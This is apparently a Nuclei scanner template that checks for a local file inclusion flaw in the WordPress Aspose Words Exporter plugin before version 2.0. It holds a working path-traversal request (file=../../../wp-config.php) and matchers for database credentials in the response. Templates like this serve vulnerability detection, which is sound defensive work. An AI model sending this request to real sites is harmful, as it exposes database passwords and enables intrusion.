id: aspose-words-file-download

info:
  name: WordPress Aspose Words Exporter <2.0 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: WordPress Aspose Words Exporter prior to version 2.0 is vulnerable to local file inclusion.
  reference:
    - https://wpscan.com/vulnerability/7869
    - https://wordpress.org/plugins/aspose-doc-exporter
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-23,CWE-73
  metadata:
    max-request: 1
  tags: wordpress,wp-plugin,lfi,aspose,wpscan,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/aspose-doc-exporter/aspose_doc_exporter_download.php?file=../../../wp-config.php'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
        part: body
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a004730450220703de9b1fa3bbb2bf390e0c888afcd45863a4bc8074385e96bc3be6b969e7540022100fd5b86b5d02bcda6537f689fac760aee34d0785deac0dcfc20398fa9232df589:922c64590222798bb761d5b6d8e72950